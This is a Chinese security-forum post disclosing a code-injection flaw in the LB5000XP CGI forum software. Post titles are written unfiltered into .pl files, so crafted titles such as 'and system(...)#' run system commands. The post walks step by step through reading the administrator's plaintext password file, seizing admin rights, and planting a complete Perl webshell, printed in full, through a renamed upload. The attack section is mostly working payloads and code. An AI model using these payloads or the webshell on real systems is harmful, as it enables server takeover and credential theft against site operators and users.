论坛: 菜鸟乐园 标题: @@@@千里之堤,毁于蚁穴-LB5000XP漏洞再现 复制本贴地址    
作者: zhangyun [zhangyun]    论坛用户   登录
发现by
[ITS SecurityTeam]Jambalaya


LB5000是由www.leoboard.com开发和维护的一款开放源代码的CGI论坛,也是国内使用较为广泛的论坛。我在读源代码的过程中,发现两个文件存在安全隐患,就此简单分析一下。
漏洞涉及版本:LB5000XP4.01以及低于4.01的所有版本均受此漏洞影响。

一、 漏洞原理:相信大家都读过大虾Pskey写过的LB5漏洞的文章,我也重新读了几遍大虾pskey曾经发现的漏洞,发现基本上都有一个共同的特点,就是或者因为论坛对用户输入的过滤不全,或者因为忽略了用户的隐式输入。如在seach.cgi中的print SEARCH “$SEARCH_SRTING\n”,这里的$SEARCH_SRTING是变量也是用户输入的, SEARCH是一个文件句柄(指向一个文件),这里把用户输入的数据存放到句柄所指向的这个文件中去。如果用户输入的$SEARCH_SRTING 是system @ARGV#,那么SEARCH 所指向的文件中就会出现system @ARGV#这句话,只要用户在浏览器中调用那个文件也就形成了一个webshell。好,原理已经明白了,从这里我们看到一个关键词就是print。换句话就是说,只要搜索print就知道论坛都将什么数据写入文件,继而可以看看什么是可以利用的。
二、 发现漏洞:真正的开始读代码才发现自己不得不佩服一些WEB安全者,读代码真的是一项很累的活儿,虽然我已经缩小了范围。废话不说了,看代码吧~~由于论坛好几个文件都存在相同的漏洞,但是限于篇幅,在这里我们选去其中一个文件post.cgi来说明问题。开始搜索print,找了几个可写的地方,我们来看一下,代码如下:
my $file = "$lbdir" . "forum$inforum/$intopic.pl";
。。。。。。
if (open(FILE, ">$file")) {
flock(FILE, 2) if ($OS_USED eq "Unix");

print FILE "$intopic\t$topictitletemp\t$topicdescription\t$threadstate\t$threadposts\t$threadviews\t$startedby\t$startedpostdate\t$inmembername\t$currenttime\t$posticon\t$inposttemp\t";
close(FILE);}

注意看这里的print向FILE这个句柄里的文件写下了"$intopic\t$topictitletemp\t$topicdescription\t$threadstate\t$threadposts\t$threadviews\t$startedby\t$startedpostdate\t$inmembername\t$currenttime\t$posticon\t$inposttemp\t";
如果读一下源代码,不难知道$topictitletemp就是发贴子的标题,是我们可写的变量。也许你会问我,他们写的是那个文件阿?仔细看一下这句话open(FILE, ">$file"),就是向$file这个变量里写入的,再来向上搜索$file,看看它是怎么定义的,很快就看到了这句话my $file = "$lbdir" . "forum$inforum/$intopic.pl";$inforum指的是板块的编号,每开一个板块服务器的论坛目录中就会生成一个名字为forum$inforum的文件加,如forum1就是论坛的第一个板块,后面的以此类推。$intopic是贴子的编号。$lbdir就是路径啦~~~,翻译过来看就是在/cgi-bin/froum1/贴子编号.pl。我们自己装一个LB5000,发个贴子看看[如图1],贴子名是欢迎大家访问 www.itaq.org的论坛,贴子编号为24的贴子。看一下cgi-bin/froum1/24.pl里面是怎么写的,

24 欢迎大家访问www.itaq.org的论坛 open 0 0 Jambalaya 942153600 942153600 我是超人!!<-- ...
24是就是$intopic的值也是贴子的编号,后面就是贴子的标题[注意这里的标题是我们可以控制的],聪明的你可能已经想到了,如果把标题改为;system @ARGV#,然后再去调用那个目录的pl文件,不就可以形成一个webshell了么?但是我们可爱的LB5作者早就想到了,已经把;和@都过滤掉了,如果我们发贴子如图[2],得到的答案会是这样的
24 ;system @ARGV# open 0 2 Jambalaya 942153600 942153600 我是Jambalaya!!<-- ...
分号‘;’已经变成了‘;’而@也光荣牺牲成了‘@’,看来想做shell是泡汤了,怎么办呢?我们变换一下思路,来看看能不能用贴子执行系统命令,发一个名为system(“dir d:”)#的贴子,就是要察看D盘的目录,这样就躲开了@,但是还要找一个东西来替代分号“;”[这里的分号是代表前面语句的结束符],想了想用and来替代应该没问题 [如图3]。结果他在文件中出现的是24 and system ("dir c:\\")看来论坛将双引号也过滤掉了,重新读了一下源代码,发现单引号没有过滤,重新编辑贴子,把标题改为 and system(‘dir c:\\’)#看一下文件,
24 and system ('dir c:\\') open 0 2 Jambalaya 942153600
942153600 我是Jambalaya!!<-- ...
Yeah! 好极了!我们来调用 http://127.0.0.1/myhome/lb/cgi-bin/forum1/24.pl[如图4],执行成功!已经看到c盘的文件了[如图]。
三、 漏洞应用
大家也许会说你说了那么多要想得到论坛的管理员权限和系统权限怎么做呢?别着急,我这就来给大家演示一下。
LB5000的弱点在于所有的用户名都是明文存放的,所有用户存放在一个叫member的目录下,可是LB5作者为了安全起见,在member目录后面加上了随机的数字,这使得要想靠猜或者蒙来得到目录的名字可就难了,但是如果可以察看系统目录那就不一样了,我们先来找一下论坛的member的目录,member在cgi-bin 目录下。发了个贴子,贴子的标题就是and system(‘dir f:\\myhome\\lb\\cgi-bin\\’)#(友情提示:别忘了在后面加#这个注释符号,否则会报错。),然后输入http://127.0.0.1/myhome/lb/cgi-bin/forum1/贴子编号.pl,我们怎么知道我们发的贴子编号是多少呢?我们将鼠标指向贴子,在浏览器的最下面会看到如下字样:http://127.0.0.1/myhome/lb/cgi-bin/topic.cgi?forume=1&topic=24,这个24就是贴子编号,这样我们就看到论坛的member目录是members07459716123,好了看一下管理员的名字―Jambalaya。我们把贴子改一下and system(‘copy f:\\myhome\\lb\\cgi-bin\\ members07459716123\\jambalaya.cgi,f:\\myhome’)#执行,成功了。再来,and system(‘ren f:\\myhome\\jambalaya.cgi,jambalaya.txt’)#成功,不用解释了吧,我先把Jambalaya的管理员的密码文档考到了myhome下,然后将他改名称txt文件,这样我在论坛中输入127.0.0.1/jambalya.txt, 就能看到jambalaya的密码了。然后进入管理中心,把自己的权限改一下就是管理员了。
同样的道理,我们发现我们上传的txt附件,会存储在lb\non-bin\usr\1\1_贴子数。如1_24.txt,1代表是论坛的第1个板块,后面的24就是指在第24篇贴子里代的附件,我们将一个webshell写成txt文件传上去,文件如下:
Jambalaya.cgi:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;

我们先上传txt的附件,然后我们用两条语句来解决问题
1、and system(‘copy f:\\myhome\\lb\\non-bin\\usr\\1\\1_24.txt,f:\\myhome\\’)#
2、and system(‘ren f:\\myhome\\lb\\non-bin\\usr\\1\\1_24.txt,f:\\myhome\\jam.cgi’)#
好了,我们在浏览器中输入127.0.0.1/jam.cgi,这样就得到了一个webshell,下面就是提升权限的事情了。省下的就是你自己的事情了:)

在此感谢32,TCH,icekernel的对我发现漏洞的帮助
因为行文仓促,技术有限,文中难免有一些错误,还望大虾们不吝赐教,在www.itaq.org可以找到我,欢迎大家去讨论技术。
--------------------------------------------------------------]
第八军团

地主 发表时间: 11/19 14:25

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号